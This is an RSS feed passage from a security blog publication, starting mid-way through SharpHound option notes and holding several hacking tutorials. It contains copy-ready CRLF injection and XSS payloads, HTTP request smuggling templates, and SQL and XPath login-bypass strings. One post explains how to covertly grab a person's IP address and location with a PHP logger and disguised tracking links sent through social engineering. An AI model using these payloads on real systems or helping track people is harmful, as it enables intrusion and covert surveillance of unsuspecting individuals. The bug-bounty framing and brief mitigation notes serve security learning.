— indicates the timeout for ping requests in milliseconds (default: 250);</p><p><strong>SkipPing </strong>— instructs Sharphound to skip ping requests in order to check the health of systems;</p><p><strong>LoopDelay —</strong> the number of seconds between session cycles (default: 300);</p><p><strong>MaxLoopTime </strong>— the amount of time to continue the session loop. Format: 0d0h0m0s. Zero will loop for two hours. (Default: 2 hours);</p><p><strong>Throttle </strong>— Adds a delay after each request to the computer. The value in milliseconds (default: 0)</p><p><strong>Jitter</strong> — Adds percent jitter to the gas. (Default: 0).</p><blockquote><strong>Output Options</strong></blockquote><p><strong>JSONFolder </strong>— a folder for storing JSON files (default :.)</p><p><strong>JSONPrefix </strong>— prefix for adding JSON to your files (default: “”)</p><p><strong>NoZip</strong> — Does not compress JSON files into a zip file. Leaves JSON files on disk. (Default: false)</p><p><strong>EncryptZip</strong> — add a randomly generated password to the zip file</p><p><strong>ZipFileName </strong>— specify the name of the zip file</p><p><strong>RandomFilenames</strong> — randomize output file names</p><p><strong>PrettyJson </strong>— Outputs JSON indented in a few lines to improve readability. Compromise — increased file size.</p><h4>You can download Blood Hound here:</h4><p>Linux x64 — <a href="https://github.com/BloodHoundAD/BloodHound/releases/download/2.1.0/BloodHound-linux-x64.zip">https://github.com/BloodHoundAD/BloodHound/releases/download/2.1.0/BloodHound-linux-x64.zip</a></p><p>Windows x64 — <a href="https://github.com/BloodHoundAD/BloodHound/releases/download/2.1.0/BloodHound-win32-x64.zip">https://github.com/BloodHoundAD/BloodHound/releases/download/2.1.0/BloodHound-win32-x64.zip</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2f362edc7da1" width="1" height="1" alt=""><hr><p><a href="https://medium.com/cyberverse/dictionary-for-hacking-an-active-directory-2f362edc7da1">Dictionary For Hacking an active directory!</a> was originally published in <a href="https://medium.com/cyberverse">Cyber Verse</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CRLF Injection Playbook]]></title>
            <link>https://medium.com/cyberverse/crlf-injection-playbook-472c67f1cb46?source=rss----8e6f0690decd---4</link>
            <guid isPermaLink="false">https://medium.com/p/472c67f1cb46</guid>
            <category><![CDATA[crlf-injection]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[hetroublemaker]]></category>
            <dc:creator><![CDATA[Aditya Soni]]></dc:creator>
            <pubDate>Sun, 12 Jan 2020 10:58:21 GMT</pubDate>
            <atom:updated>2020-01-12T11:07:45.275Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Hello Guys,<br></strong>Just a Rough analysis of bugs Disclosed Publicly about CRLF injection</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/1*-8EJgHifAxHuZRfEqY9-iA.png" /></figure><p>This analysis is done just because of curiosity about learning new things and tho I found this topic interesting. So Thought of sharing about it with you guys. <br>I started with Reading about disclosed reports about CRLF injection on Hackerone Hacktivity. (Some interesting reports will be discussed below)</p><h3>Getting Started</h3><p><strong>Now, What is CRLF?</strong></p><pre>Line feed = \n (%0a)<br>Carriage Return = \r (%0d)</pre><p>Basically, Pressing Enter key is the combination of carriage return &amp; line feed</p><p>Windows Editor mostly uses a combination of \r\n<br>Unix uses mostly \n</p><h4>Diggin’ into Injection and Attack Vector</h4><blockquote><strong>What is CRLF Injection?</strong></blockquote><blockquote>A Carriage Return Line Feed (CRLF) Injection vulnerability occurs when an application does not sanitize user input correctly and allows for the insertion of carriage returns and line feeds, input which for many internet protocols, including HTML, denote line breaks and have special significance.<br>For example, Parsing of HTTP message relies on CRLF characters (%0D%0A which decoded represent \r\n) to identify sections of HTTP messages, including headers.<br>Reference:</blockquote><p><a href="https://www.owasp.org/index.php/CRLF_Injection">CRLF Injection</a></p><p>The Effect of CRLF injection also includes HTTP Request smuggling and HTTP Response Splitting. ( Detailing about them is out of the scope of this Blog, Maybe will discuss it in next blog post)</p><h3>Starting The Research</h3><p>I started with Hackerone Hacktivity and Searched for CRLF injection which gave me 59 Results “<strong>Only</strong>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mP9fdOm2bkx_ZGXJhtrw8Q.png" /></figure><p>That doesn’t conclude that there are only 59 publicly disclosed reports on CRLF injection<br>Then I asked my Best friend (<strong>GOOGLE</strong>) about CRLF injection reports. It gave me 80 Results about CRLF</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bI4OsIfOLkIu4qpw1IeJ0g.png" /></figure><p>And after some time my browser was filled with CRLF Injection reports</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SdNlKHsC8VS_wIz7ELf2Aw.png" /></figure><p>And in all the reports above I found that CRLF injection is most commonly done by modifying an HTTP parameter or URL.</p><p>Going through All the Reports and Write-ups I created a cheat sheet for CRLF injection which is as follows:</p><h3>CHEATSHEET</h3><pre><strong>1. HTTP Response Splitting<br></strong>• /%0D%0ASet-Cookie:mycookie=myvalue</pre><pre><strong>2. CRLF chained with Open Redirect<br></strong>• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2                     • /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2                       • /google.com/%2F..%0D%0AHeader-Test:test2<br>• /%0d%0aLocation:%20http://example.com</pre><pre><strong>3. CRLF Injection to XSS<br></strong>• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23<br>• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E</pre><pre>4. <strong>Filter Bypass<br></strong>• %E5%98%8A = %0A = \u560a<br>• %E5%98%8D = %0D = \u560d<br>• %E5%98%BE = %3E = \u563e (&gt;)<br>• %E5%98%BC = %3C = \u563c (&lt;)<br>• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test</pre><h3>Result And Analysis</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*sxQ0fSfdQY1Je8Ag18Tl1Q.png" /></figure><p>Most of the CRLF injection can lead to XSS and Open Redirects if chained properly which increases the Criticality of the report and you can escalate your report to Medium CVS score easily</p><h3>Mitigation or Fix Implementation</h3><p>A simple solution for CRLF Injection is to sanitize the CRLF characters before passing into the header or to encode the data which will prevent the CRLF sequences from entering the header.</p><blockquote>This was all about the Attack vector and Research about CRLF injection. Now let’s see some payloads available publicly and Discuss some Interesting Report.</blockquote><h3>Payloads</h3><ul><li><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CRLF%20Injection">PayloadsAllTheThings/CRLF Injection at master · swisskyrepo/PayloadsAllTheThings</a></li><li><a href="https://github.com/cujanovic/CRLF-Injection-Payloads/blob/master/CRLF-payloads.txt">CRLF-Injection-Payloads/CRLF-payloads.txt at master · cujanovic/CRLF-Injection-Payloads</a></li></ul><h3>Interesting Reports</h3><h4>1. Twitter HTTP Response Splitting</h4><p><a href="https://hackerone.com/reports/52042">Twitter disclosed on HackerOne: HTTP Response Splitting (CRLF...</a></p><p>In 2015 April, <a href="https://twitter.com/filedescriptor">filedescriptor</a> reported this vulnerability to twitter which allowed hackers to set an arbitrary cookie by tacking on additional information to an HTTP request. <br>He was able to pass in<strong> %E5%98%8A%E5%98%8DSet-Cookie:%20test</strong> which resulted in <strong>%0A</strong> and<strong> %0D </strong>being included in the cookie header and enabled him to receive SetCookie: test back from Twitter.</p><p><strong>Conclusion:<br></strong>When you are looking for vulnerabilities, always remember to think outside the box and submit encoded values to see how the site handles the input.</p><h4>2. HTTP Response Splitting (CRLF injection) due to headers overflow</h4><p><a href="https://hackerone.com/reports/53843">Twitter disclosed on HackerOne: HTTP Response Splitting (CRLF...</a></p><p>To know in detail about this report, <a href="https://twitter.com/filedescriptor">filedescriptor</a> himself has published a blog</p><p><a href="https://blog.innerht.ml/overflow-trilogy/">Overflow Trilogy</a></p><h4>3. v.shopify.com Response Splitting</h4><p><a href="https://hackerone.com/reports/106427">Shopify disclosed on HackerOne: HTTP-Response-Splitting on...</a></p><h3>THE END</h3><p>During this process, I definitely learned new things and now I feel like I have much more knowledge than before about CRLF injection and have a good intuition of finding some new vulnerability.</p><p>So, Until Next Blog</p><p>Best of luck everyone. Keep-Hacking!</p><p>Feedbacks and edits are welcome</p><p><a href="https://twitter.com/hetroublemakr">Twitter</a>, <a href="https://www.linkedin.com/in/adtyasoni/">Linkedin</a></p><p>If you enjoyed this blog, please click the 👏 button and share it to help others find it.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=472c67f1cb46" width="1" height="1" alt=""><hr><p><a href="https://medium.com/cyberverse/crlf-injection-playbook-472c67f1cb46">CRLF Injection Playbook</a> was originally published in <a href="https://medium.com/cyberverse">Cyber Verse</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Earn Bounty !! with HTTP request smuggling attack.]]></title>
            <link>https://medium.com/cyberverse/earn-bounty-with-http-request-smuggling-attack-c68b4f2db363?source=rss----8e6f0690decd---4</link>
            <guid isPermaLink="false">https://medium.com/p/c68b4f2db363</guid>
            <category><![CDATA[https]]></category>
            <category><![CDATA[cyberverse]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[web-applications]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Shaurya Sharma]]></dc:creator>
            <pubDate>Fri, 10 Jan 2020 17:56:42 GMT</pubDate>
            <atom:updated>2020-01-10T17:56:42.443Z</atom:updated>
            <content:encoded><![CDATA[<h3>Earn Bounty !! with HTTP request smuggling attack.</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A82q2eK_WROrTKdJT2su4g.jpeg" /><figcaption><strong>HTTP request smuggling</strong></figcaption></figure><p>HTTP request smuggling is an attack in which an attacker interferes with the processing of a sequence of HTTP requests that a web application receives from one or more users. Vulnerabilities related to HTTP request smuggling are often critical, allowing an attacker to bypass security measures, gain unauthorized access to sensitive data, and directly compromise the information of other users of the application.</p><blockquote>What happens during an HTTP request smuggling attack?</blockquote><p>When the front-end server sends HTTP requests to the back-end server, it usually sends several requests over the same internal network connection, since it is more efficient. The protocol is very simple: HTTP requests are sent one after another, and the receiving server analyzes the headers of the HTTP requests to determine where one request ends and the following begins.</p><h3>How to perform an HTTP request smuggling attack?</h3><p>Attacks HTTP request smuggling include placing headers Content-Lengthand Transfer-Encodingin one the HTTP-request and manipulation to frontend and backend server processes the request differently. The way this will be done depends on the behavior of the two servers:</p><ul><li>CL.TE: The front-end server uses the Content-Length header, and the backend server uses Transfer-Encoding.</li><li>TE.CL: the front-end server uses the Transfer-Encoding header, and the backend server uses the Content-Length header.</li><li>TE.TE: The front-end and back-end servers support the Transfer-Encoding header, but one of the servers may be forced to not process it if it has been obfuscated.</li></ul><h4>Vulnerabilities CL.TE</h4><p>Here the frontend server uses the header Content-Length, and the backend uses Transfer-Encoding. In this case, you can perform a simple HTTP request smuggling attack:</p><pre>POST / HTTP/1.1<br>Host: vulnerable-website.com<br>Content-Length: 13<br>Transfer-Encoding: chunked</pre><pre>0</pre><pre>SMUGGLED</pre><p>The frontend server processes the header Content-Lengthand determines that the request body has a length of 13 bytes - to the end SMUGGLED. This request is redirected to the backend server.<br>The backend server processes the header Transfer-Encodingand processes the message body using blocking.</p><h4>Vulnerabilities TE.CL</h4><p>Here the frontend server uses the header Transfer-Encoding, and the backend uses Content-Length. For example, like this:</p><pre>POST / HTTP/1.1<br>Host: vulnerable-website.com<br>Content-Length: 3<br>Transfer-Encoding: chunked</pre><pre>8<br>SMUGGLED<br>0</pre><p>Note To send this request using Burp Repeater, you must first go to the Repeater menu and make sure that the “Update Content-Length” option is unchecked. You need to include the ending sequence \ r \ n \ r \ n after the last 0.</p><h4>TE.TE Behavior: Obfuscating TE Header</h4><p>In this case, both the front-end and back-end servers support the header Transfer-Encoding, but one of the servers may be forced to not process it, since it is obfuscated.<br>There are many ways to obfuscate the title Transfer-Encoding. For instance:</p><pre>Transfer-Encoding: xchunked</pre><pre>Transfer-Encoding : chunked</pre><pre>Transfer-Encoding: chunked<br>Transfer-Encoding: x</pre><pre>Transfer-Encoding:[tab]chunked</pre><pre>[space]Transfer-Encoding: chunked</pre><pre>X: X[\n]Transfer-Encoding: chunked</pre><pre>Transfer-Encoding<br>: chunked</pre><p>Each of these methods is a subtle deviation from the HTTP specification.</p><p>#KeepHunting #BugBounty #Togtherwehitharder #ShauryaSharma</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c68b4f2db363" width="1" height="1" alt=""><hr><p><a href="https://medium.com/cyberverse/earn-bounty-with-http-request-smuggling-attack-c68b4f2db363">Earn Bounty !! with HTTP request smuggling attack.</a> was originally published in <a href="https://medium.com/cyberverse">Cyber Verse</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bug Bounty with Bash]]></title>
            <link>https://medium.com/cyberverse/bug-bounty-with-bash-438596ff72f5?source=rss----8e6f0690decd---4</link>
            <guid isPermaLink="false">https://medium.com/p/438596ff72f5</guid>
            <category><![CDATA[automation]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bash]]></category>
            <dc:creator><![CDATA[Aditya Soni]]></dc:creator>
            <pubDate>Sun, 05 Jan 2020 22:16:21 GMT</pubDate>
            <atom:updated>2020-01-05T22:16:21.587Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Hello guys,</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UaSJCl8aFhlyzdBXxFkuRg.jpeg" /></figure><p>Adding Bash to my bug bounty was the best thing I ever did during my learning process!</p><h4>Tables of Content:</h4><ol><li>Introduction</li><li>Subdomain Enumeration</li><li>Subdomain Takeovers</li><li>CORS Misconfiguration</li><li>Resources</li></ol><p>Let’s Start with Some Basics Introduction. Ummm…</p><h3>What’s Bash? (The first question comes.)</h3><h3>Bash — Bourne Again Shell</h3><p>Bash is a standard shell, it’s intuitive and flexible. In Linux and macOS, Bash is a standard shell for common users. The primary purpose of bash is to allow you to interact with the computers’ OS so that you can accomplish whatever you need to do. Bash is just a language that allows you to execute some commands in a programmable way.</p><p>To learn more about bash, Here is a Bash Cookbook which can help you to learn each and everything about Bash</p><p><a href="https://medium.com/@ehsahil/bash-cookbook-for-everyone-part-1-cc98251e2887">Bash Cookbook for Everyone — Part 1</a></p><h4>Now Why Bash and Bug Bounties together?</h4><p>I would say why not? You’ll only find tools made for security-purpose that do nearly what you do but in a much faster way and written in bash and If you can’t find one. <strong>Then Write One.</strong></p><p>So, Lets Start</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2F26xBzz0LCfvP3wOOc%2Ftwitter%2Fiframe&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2F26xBzz0LCfvP3wOOc%2Fgiphy.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2F26xBzz0LCfvP3wOOc%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="290" frameborder="0" scrolling="no"><a href="https://medium.com/media/3a7180c7071f2aac464f1ebb9a3dfcdb/href">https://medium.com/media/3a7180c7071f2aac464f1ebb9a3dfcdb/href</a></iframe><blockquote>I know GUIs are nice and interactive but are not fast.</blockquote><h4>Majorly Used Commands in bash during Bug Bounty</h4><p>cat — concatenate files<br>tee — copy stdin to a file and to the screen<br>sort — sort the lines from stdin</p><h3>🔎Julia Evans🔍 on Twitter</h3><p>sort &amp;amp; uniq</p><p>uniq — Remove duplicate lines from stdin<br>xargs — run a command using each line from stdin as an argument<br>awk — general purpose text-processing language</p><h3>🔎Julia Evans🔍 on Twitter</h3><p>awk</p><p>grep — search for patterns in files or stdin</p><h3>🔎Julia Evans🔍 on Twitter</h3><p>grep</p><p>find — list files recursively and apply filters</p><h3>🔎Julia Evans🔍 on Twitter</h3><p>find</p><p>sed — edit the input stream</p><h3>🔎Julia Evans🔍 on Twitter</h3><p>sed</p><h4>Now let’s do Some Recon with the Help of BASH</h4><p><strong>Subdomain Enumeration</strong></p><ol><li>One-liner to find the subdomains:</li></ol><blockquote>while read sub; do if host “$sub.example.com” &amp;&gt; /dev/null; then echo “$sub.example.com”; fi; done &lt; subdomains_wordlist.txt<br>~tomnomnom</blockquote><p>2. Automating Stuff with the help of tools:<br>Note: these tools should be already installed in your system<br>Check out my previous blog post to install and use all the tools</p><p><a href="https://medium.com/cyberverse/recon-like-you-owns-it-190175c81c42">Recon like you owns it!</a></p><pre>##!/bin/bash</pre><pre>#starting assetfinder</pre><pre>assetfinder --subs-only $1 | tee -a domains.txt</pre><pre>#starting amass</pre><pre>amass enum --passive -d $1 -o domains</pre><pre>#removing duplicate entries<br>sort -u domains -o domains</pre><pre>#filtering the domains<br>cat domains | filter-resolved | tee -a domains.txt<br>rm domains</pre><pre>#checking for alive domains<br>echo &quot;\n\n[+] Checking for alive domains..\n&quot;<br>cat domains.txt | ~/go/bin/httprobe | tee -a alive.txt</pre><blockquote>Save the above script with subenum.sh and give it executable permission<br>chmod +x subenum.sh</blockquote><p>In the above script, we have used <a href="https://github.com/OWASP/Amass"><strong>amass </strong></a>and <a href="https://github.com/tomnomnom/assetfinder"><strong>assetfinder </strong></a>for subdomain enumeration, then <strong>sort </strong>to remove the duplicate entries after it I have used filter-resolved (another get tool by <a href="https://twitter.com/tomnomnom">tomnomnom</a>) to resolve the domains and to check how many domains are actually alive, for that we have used a tool called <a href="https://github.com/tomnomnom/httprobe"><strong>httprobe</strong></a> by t<a href="https://twitter.com/tomnomnom">omnomnom</a> and saved the alive domains in a different file called <strong>alive.txt</strong>.</p><h4>Next comes it Subdomain Takeover</h4><p>It starts with checking the CNAME of subdomains</p><blockquote>host -t CNAME subdomain.example.com</blockquote><p>Having a lot of targets to scan.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FyoJC2K6rCzwNY2EngA%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2FyoJC2K6rCzwNY2EngA%2Fgiphy.gif&amp;image=https%3A%2F%2Fmedia1.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExZnE1c3Vzem0wdTMzbmQzenYwNnlzbXhvZmN6bTNoZmtwNTRmcHhneiZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw%2FyoJC2K6rCzwNY2EngA%2Fgiphy_s.gif&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="270" frameborder="0" scrolling="no"><a href="https://medium.com/media/a6812987f4bbd14c4b6b4e95ce3946a0/href">https://medium.com/media/a6812987f4bbd14c4b6b4e95ce3946a0/href</a></iframe><p>Now doing it manually for every subdomain is hard work to-do.<br>So to shorten the time period and increasing its value is because you are reading this blog. Right?</p><p>One Liner to do it is:</p><blockquote>cat domains.txt | xargs -n 1 -I{} host -t CNAME {}</blockquote><p><strong>For speeding things up pipes give you some parallelization for free and xargs can run things in parallel</strong></p><p><strong>Next will be making a Script to find CORS Misconfiguration</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u6vPg5kTb5waboW6DgUjsQ.png" /><figcaption>by tomnomnom</figcaption></figure><p>So this is the easiest way to find the CORS misconfiguration</p><blockquote>You can download this script from here: <a href="https://raw.githubusercontent.com/tomnomnom/dotfiles/master/scripts/acao">https://raw.githubusercontent.com/tomnomnom/dotfiles/master/scripts/acao</a></blockquote><p>Give it executable permission by chmod and run it:</p><blockquote>./acao &lt;subdomain_filename&gt;</blockquote><h4>More Resources</h4><ul><li><a href="https://medium.com/bugbountywriteup/fasten-your-recon-process-using-shell-scripting-359800905d2a">Fasten your Recon process using Shell Scripting</a></li><li><a href="https://github.com/tomnomnom/dotfiles/tree/master/scripts">tomnomnom/dotfiles</a></li><li><a href="https://zwischenzugs.com/2018/01/06/ten-things-i-wish-id-known-about-bash/">Ten Things I Wish I&#39;d Known About bash</a></li><li><a href="https://www.explainshell.com/">explainshell.com - match command-line arguments to their help text</a></li><li><a href="https://github.com/nahamsec/recon_profile">nahamsec/recon_profile</a></li></ul><p>Best of luck everyone. Keep-Hacking!</p><p>Feedbacks and edits are welcome</p><p><a href="https://twitter.com/hetroublemakr">Twitter</a>, <a href="https://www.linkedin.com/in/adtyasoni/">Linkedin</a></p><p>If you enjoyed this blog, please click the 👏 button and share it to help others find it.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=438596ff72f5" width="1" height="1" alt=""><hr><p><a href="https://medium.com/cyberverse/bug-bounty-with-bash-438596ff72f5">Bug Bounty with Bash</a> was originally published in <a href="https://medium.com/cyberverse">Cyber Verse</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to find IP and geographic location of the person with PHP scripting.]]></title>
            <link>https://medium.com/cyberverse/how-to-find-ip-and-geographic-location-of-the-person-with-php-scripting-f6484bac2874?source=rss----8e6f0690decd---4</link>
            <guid isPermaLink="false">https://medium.com/p/f6484bac2874</guid>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[ip-location]]></category>
            <category><![CDATA[shaurya-sharma]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[find-person]]></category>
            <dc:creator><![CDATA[Shaurya Sharma]]></dc:creator>
            <pubDate>Mon, 30 Dec 2019 17:34:04 GMT</pubDate>
            <atom:updated>2019-12-30T17:34:04.530Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/754/1*ou5FDKfkoRfNXiAqo3cD6Q.png" /><figcaption>Image : Shaurya Sharma</figcaption></figure><p>Are you interested in finding the geographic location of the person you are talking to?</p><p>This type of information can be very useful if you are tracking someone.</p><p>I will share with you some websites that create a link that you can send via social networks or using social engineering methods, and can instantly find out the IP address of the target.</p><p>Let’s do it.</p><blockquote>If you are interested in creating your own IP grabber tool because you want to use your own domain, then here is a simple code:</blockquote><blockquote>&lt;?php<br>//IP Grabber<br>//Variables<br>$protocol = $_SERVER[‘SERVER_PROTOCOL’];<br>$ip = $_SERVER[‘REMOTE_ADDR’];<br>$port = $_SERVER[‘REMOTE_PORT’];<br>$agent = $_SERVER[‘HTTP_USER_AGENT’];<br>$ref = $_SERVER[‘HTTP_REFERER’];<br>$hostname = gethostbyaddr($_SERVER[‘REMOTE_ADDR’]);<br>//Print IP, Hostname, Port Number, User Agent and Referer To Log.TXT<br>$fh = fopen(‘log.txt’, ‘a’);<br>fwrite($fh, ‘IP Address: ‘.«».$ip .«\n»);<br>fwrite($fh, ‘Hostname: ‘.«».$hostname .«\n»);<br>fwrite($fh, ‘Port Number: ‘.«».$port .«\n»);<br>fwrite($fh, ‘User Agent: ‘.«».$agent .«\n»);<br>fwrite($fh, ‘HTTP Referer: ‘.«».$ref .«\n\n»);<br>fclose($fh);<br>?&gt;</blockquote><h3>IP logger</h3><p>IP Logger URL Shortener allows you to track and register IP addresses, GPS locations.</p><p>IP Logger URL Shortener provides checking access to IP addresses, checking what my IP services, counters, and informants are.</p><p>Step 1. Go to <a href="https://iplogger.org./">https://iplogger.org.</a><br>Step 2. Select an option. Location Tracking, Image / Link, Invisible Logger<br>Step 3: For the purposes of this guide, we will use the URL Shortener. Enter the URL and click Get Logger Code.<br>Step 4: Copy the IPLogger link to collect statistics (no BB codes)<br>Step 5: Remember the IPLogger ID (required to access registration statistics!), You will need this later to get the registered IP addresses.</p><p><a href="https://iplogger.org/">IP Logger URL Shortener - Log and Track IP addresses</a></p><h3>Grabify</h3><p>Grabify IP Logger lets you track who clicked on your links. Find IP addresses from Facebook, Twitter, friends on other sites.</p><p>Step 1: go to <a href="https://grabify.link/">https://grabify.link</a></p><p>Step 2. Enter the link to the web page on the Grabify website and click the “Create URL” button</p><p>Step 3: Now you will have a new tracking link, similar, for example. <a href="https://grabify.link/GK9OK5">https://grabify.link/GK9OK5</a> you can use the button below to change the link domain to another domain that is less recognizable, or you can use your own domain.</p><p>Step 4: Save the tracking code or connection link that you will need to get the IP addresses of those who clicked on your Grabify link.</p><p><a href="https://grabify.link/">Grabify IP Logger &amp; URL Shortener</a></p><h3>Blasze</h3><p>Step 1: Go to <a href="https://blasze.com/">https://blasze.com</a><br>Step 2. Enter a new URL or tracking code and click Submit.<br>Step 3. Copy the tracking link.<br>Step 4. Copy the access code that you will need later to get the registered IP addresses.<br>Step 5: Enter the access code at <a href="https://blasze.com/">https://blasze.com</a> to receive registered IP addresses.</p><p><a href="https://blasze.com/">https://blasze.com</a></p><h3>Whatstheirip</h3><p>Step 1: Go to the page <a href="http://whatstheirip.com/">http://whatstheirip.com</a><br>Step 2. Enter your email address and click the “Get Link” button.<br>Step 3: Copy one of the URLs provided by <a href="http://whatstheirip.com./">http://whatstheirip.com.</a><br>Step 4: As soon as your friend clicks on one of the URLs, you will receive an email with the IP address.</p><p><a href="http://whatstheirip.com/">whatstheirip.com</a></p><p>#Happyhacking #OSINT #Togtherwehitharder #shauryasharma</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f6484bac2874" width="1" height="1" alt=""><hr><p><a href="https://medium.com/cyberverse/how-to-find-ip-and-geographic-location-of-the-person-with-php-scripting-f6484bac2874">How to find IP and geographic location of the person with PHP scripting.</a> was originally published in <a href="https://medium.com/cyberverse">Cyber Verse</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Authentication Bypass — With X Path injection and SQL injection | CyberVerse]]></title>
            <link>https://medium.com/cyberverse/authentication-bypass-with-x-path-injection-and-sql-injection-cyberverse-c5d8dd34ac9a?source=rss----8e6f0690decd---4</link>
            <guid isPermaLink="false">https://medium.com/p/c5d8dd34ac9a</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hackerone]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[shaurya-sharma]]></category>
            <category><![CDATA[authentication]]></category>
            <dc:creator><![CDATA[Shaurya Sharma]]></dc:creator>
            <pubDate>Fri, 27 Dec 2019 06:33:54 GMT</pubDate>
            <atom:updated>2019-12-27T06:37:03.222Z</atom:updated>
            <content:encoded><![CDATA[<h3>Authentication Bypass — With X Path injection and SQL injection | CyberVerse</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y_yowPD2v2wjR-nVoid_LA.jpeg" /><figcaption>Authentication Bypass</figcaption></figure><p>Authentication Bypass for sites and web applications is unauthorized access to the administrative section or sections of the site and scripts that provide direct interaction with the database and server file system.</p><p>Authentication Bypass can be performed by exploiting site code vulnerabilities, resource publishing errors, and also due to errors in the settings and vulnerabilities of the server software.</p><p>The ability to bypass the authentication (Authentication Bypass) on the site always leads to its hacking, as:</p><blockquote>The attacker goes to the administrative section of the site with the maximum access level</blockquote><blockquote>An attacker gains access to private sections of the site, or files that directly interact with the database or server file system.</blockquote><h3>A few examples of Authentication Bypass-:</h3><h4>{ SQL injection Authentication Bypass }</h4><blockquote>Username = ‘ or ‘1’=’1 <br>Password = ‘ or ‘1’=’1</blockquote><p>OR</p><blockquote>username= admin’ or 1=1#<br>password=’ or ‘1’=’1</blockquote><p>OR (Where the Email address is necessary)</p><blockquote>Username = admin@admin.com<br>Password = ‘ or ‘1’=’1</blockquote><h4>{ X Path injection Authentication Bypass }</h4><p>Similar to SQL injection:</p><blockquote>Part of the XML code of the site user database: base.xml<br>&lt;? Xml version = ‘1.0’ encoding = ‘ISO-8859–1’?&gt; &lt;users&gt;<br>&lt;user&gt;<br>&lt;id&gt; 1 &lt;/id&gt;<br>&lt;username&gt; admin &lt;/ username&gt;<br>&lt;password&gt; adminpass &lt;/password&gt;<br>&lt;/user&gt;<br>&lt;user&gt; &lt;id&gt; 2 &lt;/id&gt;<br>&lt;username&gt; user &lt;/username&gt;<br>&lt;password&gt; userpass &lt;/password&gt;<br>&lt;/user&gt;<br>…<br>&lt;/ users&gt;</blockquote><h3>Authentication code for users / site administrators</h3><blockquote>String username = req.getParameter (“username ‘);<br>String password = req.getParameter (“ password’);<br>XPathFactory factory = XPathFactory.newInstance ();<br>Xpath xpath = factory.newXPath ();<br>File file = new File (“/ usr / webappdata / users.xml ‘);<br>InputSource src = new InputSource (new FileInputStream (file));<br>XPathExpression expr = xpath.compile (“ // users [username / text () =’ “+ username +” ‘and password / text () =’ “+ password + ‘’] / id / text () ‘);<br>String id = expr.evaluate (src);</blockquote><h3>Legal X Path user authentication request</h3><blockquote>users [username / text () = ‘admin’ and password / text () = ‘adminpass’] / id / text ()</blockquote><blockquote>XPath injection:<br>‘or’ 1 ‘=’ 1 ‘</blockquote><blockquote>The request changed as a result of using XPath injection:<br>users [username / text () = ‘admin’ and password / text () = ‘’ or ‘1’ = ‘1’] / id / text ()</blockquote><h4>Result:-<br>Authentication of the attacker on the site. The<br>request will return the ID for the admin user with an empty password, provided 1 = 1 is true.</h4><p>#HappyHacking #CyberVerse #BugBounty #Togherwehitharder</p><img 